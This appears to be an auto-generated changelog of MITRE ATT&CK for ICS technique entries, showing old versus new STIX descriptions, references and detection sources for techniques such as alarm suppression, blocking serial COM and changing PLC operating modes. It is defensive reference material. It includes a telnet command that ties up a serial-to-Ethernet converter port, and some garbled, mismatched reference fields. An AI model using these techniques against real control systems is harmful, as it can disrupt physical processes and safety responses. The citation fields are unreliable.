In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: References - Secura - 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code. | Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. (Citation: Marshall Abrams July 2008) A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. (Citation: Jos Wetzels, Marina Krotofil 2019) The method of suppression may greatly depend on the type of alarm in question: * An alarm raised by a protocol message * An alarm signaled with I/O * An alarm bit set in a flag (and read) In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. (Citation: Jos Wetzels, Marina Krotofil 2019) Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0878 | https://attack.mitre.org/Technique/T0878 |
| external_references[1]['source_name'] | Maroochy - MITRE - 200808 | Marshall Abrams July 2008 |
| external_references[1]['description'] | Marshall Abrams. (2008, July 23). Malicious Control System Cyber Security Attack Case Study– Maroochy Water Services, Australia. Retrieved March 27, 2018. | Marshall Abrams 2008, July 23 Malicious Control System Cyber Security Attack Case Study Maroochy Water Services, Australia Retrieved. 2018/03/27 |
| external_references[1]['url'] | https://www.mitre.org/sites/default/files/pdf/08%201145.pdf | https://www.mitre.org/sites/default/files/pdf/08_1145.pdf |
| external_references[2]['source_name'] | References - Secura - 2019 | Jos Wetzels, Marina Krotofil 2019 |
| external_references[2]['description'] | Jos Wetzels, Marina Krotofil. (2019). A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices. Retrieved November 1, 2019. | Jos Wetzels, Marina Krotofil 2019 A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices Retrieved. 2019/11/01 |
| external_references[2]['url'] | https://troopers.de/downloads/troopers19/TROOPERS19%20NGI%20IoT%20diet%20poisoned%20fruit.pdf | https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf |
| x_mitre_platforms[2] | Device Configuration/Parameters | Device Configuration/Parameters |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Jos Wetzels, Marina Krotofil 2019', 'description': 'Jos Wetzels, Marina Krotofil 2019 A Diet of Poisoned Fruit: Designing Implants & OT Payloads for ICS Embedded Devices Retrieved. 2019/11/01 ', 'url': 'https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf'} |
[T0802] Automated Collection
Current version: 1.0
Version changed from: 0.0 → 1.0
New Detections:
- DS0012: Script (Script Execution)
- DS0017: Command (Command Execution)
- DS0022: File (File Access)
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.830000+00:00 |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0802 | https://attack.mitre.org/Technique/T0802 |
[T0803] Block Command Message
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may block a command message from reaching its in | t | Adversaries may block a command message from reaching its in |
| tended target to prevent command execution. In OT networks, | | tended target to prevent command execution. In OT networks, |
| command messages are sent to provide instructions to control | | command messages are sent to provide instructions to control |
| system devices. A blocked command message can inhibit respo | | system devices. A blocked command message can inhibit respo |
| nse functions from correcting a disruption or unsafe conditi | | nse functions from correcting a disruption or unsafe conditi |
| on.(Citation: Research - Research - Taxonomy Cyber Attacks o | | on. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 20 |
| n SCADA)(Citation: Ukraine15 - EISAC - 201603) | | 11) (Citation: Electricity Information Sharing and Analysis |
| | | Center; SANS Industrial Control Systems March 2016) |
New Detections:
- DS0009: Process (Process Termination)
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Connection Creation)
- DS0029: Network Traffic (Network Traffic Flow)
- DS0040: Operational Databases (Process History/Live Data)
- DS0040: Operational Databases (Process/Event Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.832000+00:00 |
| description | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603) | Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0803 | https://attack.mitre.org/Technique/T0803 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016 |
| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems 2016, March 18 Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt6a77276749b76a40/607f235992f0063e5c070fff/E-ISAC_SANS_Ukraine_DUC_5%5b73%5d.pdf |
| x_mitre_platforms[1] | Device Configuration/Parameters | Device Configuration/Parameters |
[T0804] Block Reporting Message
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may block or prevent a reporting message from re | t | Adversaries may block or prevent a reporting message from re |
| aching its intended target. In control systems, reporting me | | aching its intended target. In control systems, reporting me |
| ssages contain telemetry data (e.g., I/O values) pertaining | | ssages contain telemetry data (e.g., I/O values) pertaining |
| to the current state of equipment and the industrial process | | to the current state of equipment and the industrial process |
| . By blocking these reporting messages, an adversary can pot | | . By blocking these reporting messages, an adversary can pot |
| entially hide their actions from an operator. Blocking repor | | entially hide their actions from an operator. Blocking repo |
| ting messages in control systems that manage physical proces | | rting messages in control systems that manage physical proce |
| ses may contribute to system impact, causing inhibition of a | | sses may contribute to system impact, causing inhibition of |
| response function. A control system may not be able to resp | | a response function. A control system may not be able to res |
| ond in a proper or timely manner to an event, such as a dang | | pond in a proper or timely manner to an event, such as a dan |
| erous fault, if its corresponding reporting message is block | | gerous fault, if its corresponding reporting message is bloc |
| ed.(Citation: Research - Research - Taxonomy Cyber Attacks o | | ked. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2 |
| n SCADA)(Citation: Ukraine15 - EISAC - 201603) | | 011) (Citation: Electricity Information Sharing and Analysi |
| | | s Center; SANS Industrial Control Systems March 2016) |
Dropped Mitigations:
- M0945: Code Signing
- M0947: Audit
New Detections:
- DS0009: Process (Process Termination)
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Connection Creation)
- DS0029: Network Traffic (Network Traffic Flow)
- DS0040: Operational Databases (Process History/Live Data)
- DS0040: Operational Databases (Process/Event Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.834000+00:00 |
| description | Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked.(Citation: Research - Research - Taxonomy Cyber Attacks on SCADA)(Citation: Ukraine15 - EISAC - 201603) | Adversaries may block or prevent a reporting message from reaching its intended target. In control systems, reporting messages contain telemetry data (e.g., I/O values) pertaining to the current state of equipment and the industrial process. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. (Citation: Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011) (Citation: Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0804 | https://attack.mitre.org/Technique/T0804 |
| external_references[1]['source_name'] | Research - Research - Taxonomy Cyber Attacks on SCADA | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 |
| external_references[1]['description'] | Bonnie Zhu, Anthony Joseph, Shankar Sastry. (2011). A Taxonomy of Cyber Attacks on SCADA Systems. Retrieved January 12, 2018. | Bonnie Zhu, Anthony Joseph, Shankar Sastry 2011 A Taxonomy of Cyber Attacks on SCADA Systems Retrieved. 2018/01/12 |
| external_references[2]['source_name'] | Ukraine15 - EISAC - 201603 | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems March 2016 |
| external_references[2]['description'] | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018. | Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems 2016, March 18 Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case Retrieved. 2018/03/27 |
| external_references[2]['url'] | https://ics.sans.org/media/E-ISAC%20SANS%20Ukraine%20DUC%205.pdf | https://assets.contentstack.io/v3/assets/blt36c2e63521272fdc/blt6a77276749b76a40/607f235992f0063e5c070fff/E-ISAC_SANS_Ukraine_DUC_5%5b73%5d.pdf |
[T0805] Block Serial COM
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may block access to serial COM to prevent instru | t | Adversaries may block access to serial COM to prevent instru |
| ctions or configurations from reaching target devices. Seria | | ctions or configurations from reaching target devices. Seria |
| l Communication ports (COM) allow communication with control | | l Communication ports (COM) allow communication with control |
| system devices. Devices can receive command and configurati | | system devices. Devices can receive command and configurati |
| on messages over such serial COM. Devices also use serial CO | | on messages over such serial COM. Devices also use serial CO |
| M to send command and reporting messages. Blocking device se | | M to send command and reporting messages. Blocking device se |
| rial COM may also block command messages and block reporting | | rial COM may also block command messages and block reporting |
| messages. A serial to Ethernet converter is often connect | | messages. A serial to Ethernet converter is often connect |
| ed to a serial COM to facilitate communication between seria | | ed to a serial COM to facilitate communication between seria |
| l and Ethernet devices. One approach to blocking a serial CO | | l and Ethernet devices. One approach to blocking a serial CO |
| M would be to create and hold open a TCP session with the Et | | M would be to create and hold open a TCP session with the Et |
| hernet side of the converter. A serial to Ethernet converter | | hernet side of the converter. A serial to Ethernet converter |
| may have a few ports open to facilitate multiple communicat | | may have a few ports open to facilitate multiple communicat |
| ions. For example, if there are three serial COM available - | | ions. For example, if there are three serial COM available - |
| - 1, 2 and 3 --, the converter might be listening on the cor | | - 1, 2 and 3 --, the converter might be listening on the cor |
| responding ports 20001, 20002, and 20003. If a TCP/IP connec | | responding ports 20001, 20002, and 20003. If a TCP/IP connec |
| tion is opened with one of these ports and held open, then t | | tion is opened with one of these ports and held open, then t |
| he port will be unavailable for use by another party. One wa | | he port will be unavailable for use by another party. One wa |
| y the adversary could achieve this would be to initiate a TC | | y the adversary could achieve this would be to initiate a TC |
| P session with the serial to Ethernet converter at <code>10. | | P session with the serial to Ethernet converter at 10.0.0.1 |
| 0.0.1</code> via Telnet on serial port 1 with the following | | via Telnet on serial port 1 with the following command: teln |
| command: <code>telnet 10.0.0.1 20001</code>. | | et 10.0.0.1 20001. |
New Detections:
- DS0009: Process (Process Termination)
- DS0015: Application Log (Application Log Content)
- DS0040: Operational Databases (Process History/Live Data)
- DS0040: Operational Databases (Process/Event Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.834000+00:00 |
| description | Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages.
A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001. | Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0805 | https://attack.mitre.org/Technique/T0805 |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Flow [https://github.com/mitre-attack/attack-datasources/blob/main/contribution-ics/network_traffic.yml Network Traffic: Network Connection Creation |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Network Traffic: Network Connection Creation | |
[T0806] Brute Force I/O
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may repetitively or successively change I/O poin | t | Adversaries may repetitively or successively change I/O poin |
| t values to perform an action. Brute Force I/O may be achiev | | t values to perform an action. Brute Force I/O may be achiev |
| ed by changing either a range of I/O point values or a singl | | ed by changing either a range of I/O point values or a singl |
| e point value repeatedly to manipulate a process function. T | | e point value repeatedly to manipulate a process function. T |
| he adversary’s goal and the information they have about the | | he adversarys goal and the information they have about the t |
| target environment will influence which of the options they | | arget environment will influence which of the options they c |
| choose. In the case of brute forcing a range of point values | | hoose. In the case of brute forcing a range of point values, |
| , the adversary may be able to achieve an impact without tar | | the adversary may be able to achieve an impact without targ |
| geting a specific point. In the case where a single point is | | eting a specific point. In the case where a single point is |
| targeted, the adversary may be able to generate instability | | targeted, the adversary may be able to generate instability |
| on the process function associated with that particular poi | | on the process function associated with that particular poin |
| nt. Adversaries may use Brute Force I/O to cause failures w | | t. Adversaries may use Brute Force I/O to cause failures wi |
| ithin various industrial processes. These failures could be | | thin various industrial processes. These failures could be t |
| the result of wear on equipment, or damage to downstream equ | | he result of wear on equipment or damage to downstream equip |
| ipment. | | ment. |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Process History/Live Data)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-14 13:04:01.612000+00:00 | 2022-04-21 22:02:03.834000+00:00 |
| description | Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversary’s goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point.
Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment, or damage to downstream equipment. | Adversaries may repetitively or successively change I/O point values to perform an action. Brute Force I/O may be achieved by changing either a range of I/O point values or a single point value repeatedly to manipulate a process function. The adversarys goal and the information they have about the target environment will influence which of the options they choose. In the case of brute forcing a range of point values, the adversary may be able to achieve an impact without targeting a specific point. In the case where a single point is targeted, the adversary may be able to generate instability on the process function associated with that particular point. Adversaries may use Brute Force I/O to cause failures within various industrial processes. These failures could be the result of wear on equipment or damage to downstream equipment. |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0806 | https://attack.mitre.org/Technique/T0806 |
[T0858] Change Operating Mode
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries Adversaries may change the operating mode of a c | t | Adversaries may change the operating mode of a controller to |
| ontroller to gain additional access to engineering functions | | gain additional access to engineering functions such as Pro |
| such as Program Download. Programmable controllers typicall | | gram Download. Programmable controllers typically have sev |
| y have several modes of operation that control the state of | | eral modes of operation that control the state of the user p |
| the user program and control access to the controller’s API. | | rogram and control access to the controllers API. Operating |
| Operating modes can be physically selected using a key swit | | modes can be physically selected using a key switch on the f |
| ch on the face of the controller but may also be selected wi | | ace of the controller but may also be selected with calls to |
| th calls to the controller’s API. Operating modes and the me | | the controllers API. Operating modes and the mechanisms by |
| chanisms by which they are selected often vary by vendor and | | which they are selected often vary by vendor and product lin |
| product line. Some commonly implemented operating modes are | | e. Some commonly implemented operating modes are described b |
| described below: Program - This mode must be enabled before | | elow: *Program - This mode must be enabled before changes c |
| changes can be made to a device’s program. This allows prog | | an be made to a devices program. This allows program uploads |
| ram uploads and downloads between the device and an engineer | | and downloads between the device and an engineering worksta |
| ing workstation. Often the PLC’s logic Is halted, and all ou | | tion. Often the PLCs logic Is halted, and all outputs may be |
| tputs may be forced off.(Citation: Forum Automation PLC Oper | | forced off. (Citation: N.A. October 2017) *Run - Execution |
| ating Modes October 2017) Run - Execution of the device’s pr | | of the devices program occurs in this mode. Input and outpu |
| ogram occurs in this mode. Input and output (values, points, | | t (values, points, tags, elements, etc.) are monitored and u |
| tags, elements, etc.) are monitored and used according to t | | sed according to the programs logic. [Program Upload](https: |
| he program’s logic. Program Upload and Program Download are | | //attack.mitre.org/techniques/T0845) and [Program Download]( |
| disabled while in this mode.(Citation: Omrom PLC Different O | | https://attack.mitre.org/techniques/T0843) are disabled whil |
| perating Modes)(Citation: Machine Information Systems How PL | | e in this mode. (Citation: Omron) (Citation: Machine Informa |
| Cs Work 2007)(Citation: Forum Automation PLC Operating Modes | | tion Systems 2007) (Citation: N.A. October 2017) (Citation: |
| October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - | | PLCgurus 2021) *Remote - Allows for remote changes to a P |
| Allows for remote changes to a PLC’s operation mode.(Citatio | | LCs operation mode. (Citation: PLCgurus 2021) *Stop - The |
| n: PLCgurus PLC Basics 2021) Stop - The PLC and program is s | | PLC and program is stopped, while in this mode, outputs are |
| topped, while in this mode, outputs are forced off.(Citation | | forced off. (Citation: Machine Information Systems 2007) |
| : Machine Information Systems How PLCs Work 2007) Reset - Co | | *Reset - Conditions on the PLC are reset to their original s |
| nditions on the PLC are reset to their original states. Warm | | tates. Warm resets may retain some memory while cold resets |
| resets may retain some memory while cold resets will reset | | will reset all I/O and data registers. (Citation: Machine In |
| all I/O and data registers.(Citation: Machine Information Sy | | formation Systems 2007) *Test / Monitor mode - Similar to |
| stems How PLCs Work 2007)Test / Monitor mode - Similar to ru | | run mode, I/O is processed, although this mode allows for mo |
| n mode, I/O is processed, although this mode allows for moni | | nitoring, force set, resets, and more generally tuning or de |
| toring, force set, resets, and more generally tuning or debu | | bugging of the system. Often monitor mode may be used as a t |
| gging of the system. Often monitor mode may be used as a tri | | rial for initialization. (Citation: Omron) |
| al for initialization.(Citation: Omrom PLC Different Operati | | |
| ng Modes) | | |
New Detections:
- DS0015: Application Log (Application Log Content)
- DS0029: Network Traffic (Network Traffic Content)
- DS0040: Operational Databases (Device Alarm)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.838000+00:00 |
| description | Adversaries Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controller’s API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controller’s API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: Program - This mode must be enabled before changes can be made to a device’s program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLC’s logic Is halted, and all outputs may be forced off.(Citation: Forum Automation PLC Operating Modes October 2017) Run - Execution of the device’s program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the program’s logic. Program Upload and Program Download are disabled while in this mode.(Citation: Omrom PLC Different Operating Modes)(Citation: Machine Information Systems How PLCs Work 2007)(Citation: Forum Automation PLC Operating Modes October 2017)(Citation: PLCgurus PLC Basics 2021) Remote - Allows for remote changes to a PLC’s operation mode.(Citation: PLCgurus PLC Basics 2021) Stop - The PLC and program is stopped, while in this mode, outputs are forced off.(Citation: Machine Information Systems How PLCs Work 2007) Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.(Citation: Machine Information Systems How PLCs Work 2007)Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.(Citation: Omrom PLC Different Operating Modes) | Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download. Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controllers API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controllers API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below: *Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off. (Citation: N.A. October 2017) *Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic. [Program Upload](https://attack.mitre.org/techniques/T0845) and [Program Download](https://attack.mitre.org/techniques/T0843) are disabled while in this mode. (Citation: Omron) (Citation: Machine Information Systems 2007) (Citation: N.A. October 2017) (Citation: PLCgurus 2021) *Remote - Allows for remote changes to a PLCs operation mode. (Citation: PLCgurus 2021) *Stop - The PLC and program is stopped, while in this mode, outputs are forced off. (Citation: Machine Information Systems 2007) *Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers. (Citation: Machine Information Systems 2007) *Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization. (Citation: Omron) |
| external_references[0]['url'] | https://collaborate.mitre.org/attackics/index.php/Technique/T0858 | https://attack.mitre.org/Technique/T0858 |
| external_references[1]['source_name'] | Forum Automation PLC Operating Modes October 2017 | N.A. October 2017 |
| external_references[1]['description'] | N.A.. (2017, October). What are the different operating modes in PLC?. Retrieved January 28, 2021. | N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 |
| external_references[2]['source_name'] | Omrom PLC Different Operating Modes | Omron |
| external_references[2]['description'] | Omron. (n.d.). PLC Different Operating Modes. Retrieved January 28, 2021. | Omron N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 PLC Different Operating Modes Retrieved. 2021/01/28 |
| external_references[3]['source_name'] | Machine Information Systems How PLCs Work 2007 | Machine Information Systems 2007 |
| external_references[3]['description'] | Machine Information Systems. (2007). How PLCs Work. Retrieved January 28, 2021. | Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 |
| external_references[4]['source_name'] | PLCgurus PLC Basics 2021 | N.A. October 2017 |
| external_references[4]['description'] | PLCgurus. (2021). PLC Basics – Modes Of Operation. Retrieved January 28, 2021. | N.A. 2017, October What are the different operating modes in PLC? Retrieved. 2021/01/28 |
| external_references[4]['url'] | https://www.plcgurus.net/plc-basics/ | https://forumautomation.com/t/what-are-the-different-operating-modes-in-plc/2489 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'PLCgurus 2021', 'description': 'PLCgurus 2021 PLC Basics Modes Of Operation Retrieved. 2021/01/28 ', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| external_references | | {'source_name': 'PLCgurus 2021', 'description': 'PLCgurus 2021 PLC Basics Modes Of Operation Retrieved. 2021/01/28 ', 'url': 'https://www.plcgurus.net/plc-basics/'} |
| external_references | | {'source_name': 'Machine Information Systems 2007', 'description': 'Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 ', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} |
| external_references | | {'source_name': 'Machine Information Systems 2007', 'description': 'Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 ', 'url': 'http://www.machine-information-systems.com/How_PLCs_Work.html'} |
| external_references | | {'source_name': 'Omron', 'description': 'Omron Machine Information Systems 2007 How PLCs Work Retrieved. 2021/01/28 PLC Different Operating Modes Retrieved. 2021/01/28 ', 'url': 'https://www.omron-ap.com/service_support/FAQ/FAQ00002/index.asp#:~:text=In%20PROGRAM%20mode%2C%20the%20CPU,can%20be%20created%20or%20modified.'} |
[T0807] Command-Line Interface
Current version: 1.0
Version changed from: 0.0 → 1.0
|
|
|---|
| t | Adversaries may utilize command-line interfaces (CLIs) to in | t | Adversaries may utilize command-line interfaces (CLIs) to in |
| teract with systems and execute commands. CLIs provide a mea | | teract with systems and execute commands. CLIs provide a mea |
| ns of interacting with computer systems and are a common fea | | ns of interacting with computer systems and are a common fea |
| ture across many types of platforms and devices within contr | | ture across many types of platforms and devices within contr |
| ol systems environments. (Citation: EAttack Command-Line Int | | ol systems environments. (Citation: Enterprise ATT&CK Januar |
| erface) Adversaries may also use CLIs to install and run new | | y 2018) Adversaries may also use CLIs to install and run new |
| software, including malicious tools that may be installed o | | software, including malicious tools that may be installed o |
| ver the course of an operation. CLIs are typically accessed | | ver the course of an operation. CLIs are typically accessed |
| locally, but can also be exposed via services, such as SSH, | | locally, but can also be exposed via services, such as SSH, |
| Telnet, and RDP. Commands that are executed in the CLI exe | | Telnet, and RDP. Commands that are executed in the CLI exe |
| cute with the current permissions level of the process runni | | cute with the current permissions level of the process runni |
| ng the terminal emulator, unless the command specifies a cha | | ng the terminal emulator, unless the command specifies a cha |
| nge in permissions context. Many controllers have CLI inter | | nge in permissions context. Many controllers have CLI inter |
| faces for management purposes. Detection: Command-line inte | | faces for management purposes. |
| rface activities can be captured through proper logging of p | | |
| rocess execution with command-line arguments. This informati | | |
| on can be useful in gaining additional insight to adversarie | | |
| s' actions through how they use native processes or custom t | | |
| ools. | | |
New Detections:
- DS0009: Process (Process Creation)
- DS0011: Module (Module Load)
- DS0012: Script (Script Execution)
- DS0017: Command (Command Execution)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_version | | 1.0 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-08 13:04:01.612000+00:00 | 2022-04-21 22:02:03.839000+00:00 |
| description | Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. (Citation: EAttack Command-Line Interface) Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation.
CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context.
Many controllers have CLI interfaces for management purposes.
